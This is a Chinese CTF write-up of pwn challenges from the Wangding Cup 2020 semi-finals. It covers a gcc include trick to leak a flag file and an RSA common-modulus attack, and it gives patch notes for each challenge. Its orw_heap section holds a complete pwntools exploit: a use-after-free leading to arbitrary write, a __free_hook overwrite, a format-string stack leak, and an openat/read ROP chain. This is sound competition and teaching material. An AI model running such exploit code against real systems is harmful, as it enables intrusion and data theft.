美文网首页
网鼎杯2020半决赛pwn部分题解

网鼎杯2020半决赛pwn部分题解

作者: liwl23 | 来源:发表于2020-11-30 20:22 被阅读0次

easy_pwn

直接输入“#include</flag>”,gcc会由于/flag中存在语法错误将flag的内容输出出来。

修补方式

失败:

  1. 利用strstr 过滤掉flag关键字。
  2. 修改gcc命令,将标准错误重定向到其他文件。

据说成功:

  1. 过滤掉字符'f'
  2. 将read函数的第三个参数改小,改的足够小就啥也输不进来了。

orw_heap

漏洞点有下面几个:

  1. 指针删除后未置0
  2. view功能和edit功能中未检查idx的范围,导致可以越界读写后面的指针。

限制

  1. 只能free两次。

利用方式

  1. 利用两次free泄露堆地址。
  2. 在堆上放好地址,利用漏洞点2达成任意内存读写。

具体流程

  1. 泄露堆地址
  2. 利用任意内存读,查看got表内容,泄露libc基地址
  3. 利用任意内存写,修改将free的次数次数改大
  4. 利用任意内存写,修改free_hook为printf地址
  5. free掉一块包含“%?$p”的内存,可以泄露栈地址,其中?需要自己试出来。
  6. 利用任意内存写,在栈上写入ROP的payload即可。

需要注意的点

  1. open系统调用被禁了,需要用openat(0x101)系统调用打开文件。
  2. flag在 /flag中而非 /home/pwn/flag。
  3. 服务器上不知道用了什么方法,使得堆基地址与程序数据段离得不是很远,所以4字节的索引是可以索引到堆上的。但是本地离得很远,所以本地不会通。
from pwn import *

#p = ssh("root","localhost",2222,'waterdrop').process(['./pwn'],env={'LD_PRELOAD':'./libc-2.31.so'})
p = remote("172.16.9.13",9004)
#p = process(['./ld-2.31.so','./pwn'],env={"LD_PRELOAD":"./libc-2.31.so"})
e = ELF("./pwn")
libc = ELF('./libc-2.31.so')
context.log_level = 'debug'
def add(idx,size,name):
    p.sendlineafter("Your Choice:",'1')
    p.recvuntil("index>>")
    p.send(str(idx)+'\x00')
    p.recvuntil("size>>")
    p.send(str(size)+'\x00')
    p.recvuntil("name>>")
    p.send(name)

def delete(idx):
    p.sendlineafter("Your Choice:",'2')
    p.recvuntil("index>> ")
    p.send(str(idx)+'\x00')

def edit(idx,name):
    p.sendlineafter("Your Choice:",'3')
    p.recvuntil("index>>")
    p.send(str(idx)+'\x00')
    p.recvuntil("name>>")
    p.send(name)

def show(idx):
    p.sendlineafter("Your Choice:",'5')
    p.recvuntil("index>> ")
    p.send(str(idx)+'\x00')
    return p.recvuntil("\n1:add",drop=True)

time = 0x404080
list_addr = 0x4040E8
add(0,0x70,"A")
add(1,0x70,'A'*16+p64(8)+p64(e.got['printf'])+'/flag\x00')
delete(1)
delete(0)
heap_addr = u64(show(0).ljust(8,'\x00'))
print(hex(heap_addr+0x18-list_addr//16))
printf_addr = u64(show((heap_addr+0x18-list_addr)//16).ljust(8,'\x00'))
libc_addr = printf_addr-libc.symbols['printf']
print "hex=>",hex(libc_addr)
libc.address = libc_addr
free_hook = libc.symbols['__free_hook']
add(2,0xc0,p64(8)+p64(time)+p64(8)+p64(free_hook))
edit((heap_addr+0x80+0x8-list_addr)//16,"AA")
edit((heap_addr+0x80+0x18-list_addr)//16,p64(libc.symbols['printf']))
add(3,0x70,'%8$p\n')
delete(3)
stack_addr = int(p.recvline(),16)-0x18
pop_rdi = 0x0000000000026b72+libc_addr
pop_rsi = 0x0000000000027529+libc_addr
pop_rdx_rbx = 0x00000000001626d6+libc_addr
pop_rcx = 0x000000000009f822+libc_addr
#payload =  p64(pop_rdi)+p64(heap_addr+32)+p64(libc.symbols['puts'])

payload = p64(pop_rdi)+p64(0x101)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(heap_addr+32)+p64(0)+p64(pop_rcx)+p64(0)+p64(libc.symbols['syscall'])+\
    p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr+1000)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p64(libc.symbols['read'])+\
    p64(pop_rdi)+p64(heap_addr+1000)+p64(libc.symbols['puts'])
print hex(len(payload))
print hex(stack_addr)
edit(2,p64(0x100)+p64(stack_addr))
edit((heap_addr+0x80+0x8-list_addr)//16,payload)
#gdb.attach(p)
p.interactive()

修补方式

修改代码,指针free掉后置为0.

crypto_system

exp不是我写的,这里简述一下思路。

漏洞点

程序中有个循环输入的地方,里面的下标大概是这么计算的

idx = abs(read_num())%5;

此处存在问题,当输入-2^{31}时,abs函数返回值依然是-2^{31}。因此,我们可以利用这个修改前方的字节。具体来说,就是将0x10001,修改为0x1??01,其中??是我们可以控制的。

利用

按照程序正常流程,我们可以获得flag^{0x10001}\ mod\ N。利用漏洞我们可以获得flag^{0x13001}\ mod \ N(此处把??改为了0x30)。由于0x10001与0x13001互素,我们可以利用共模攻击获得flag。

相关文章

  • 网鼎杯2020半决赛pwn部分题解

    easy_pwn 直接输入“#include”,gcc会由于/flag中存在语法错误将flag的内容...

  • [网鼎杯线下] web && droopy 靶场

    网鼎杯线下web && droopy 靶场 这次网鼎打完啦,还是觉得自己太菜了半决赛第二也是抱了pwn爷爷的大腿(...

  • 网鼎杯半决赛 pwn wp

    pwn1防御机制: 运行了下 ,发现是一个模拟聊天软件的程序,功能一共有 8个 通过ida分析程序,程序一开时就分...

  • [2018网鼎杯] 半决赛writesup(pwn)

    boorsheet 利用uaf劫持程序控制流 ` frainbuck 利用类似brainfuck进行数组越界泄漏l...

  • 网鼎杯(4)-pwn

    题目链接 保护还挺多 主要漏洞点: stack函数有栈溢出,还有puts函数可以泄漏栈的东西 secret函数由于...

  • 网鼎杯pwn WP

    前言 本周参加了两个比赛,一个是de1CTF,另一个是网鼎杯,把这两场比赛全部总结一下。 在网鼎杯中,有幸拿了一个...

  • 2018 网鼎杯 | pwn wp

    fgo 漏洞点 :delete 函数 uaf 利用过程:add(0x10) 两个组合 0x10(pointer)...

  • 2018-网鼎杯 pwn(部分线上+线下)

    第一场: pwn--guess 可以看到,这题是把flag存在栈里面,然后让你去猜flag,这种题目一看就是让你泄...

  • [2018网鼎杯] 总决赛writesup(pwn)

    题目链接 lin 有个后门,有栈溢出,但是程序会检测返回地址,直接把返回地址改到这里绕过 exp : LFYH 程...

  • *CTF-pwn部分题解

    Quicksort 简单的漏洞点,gets(&s)溢出。程序开了nx与canary。 图中有v0 = ptr + ...

网友评论

      本文标题:网鼎杯2020半决赛pwn部分题解

      本文链接:https://www.haomeiwen.com/subject/oyjdwktx.html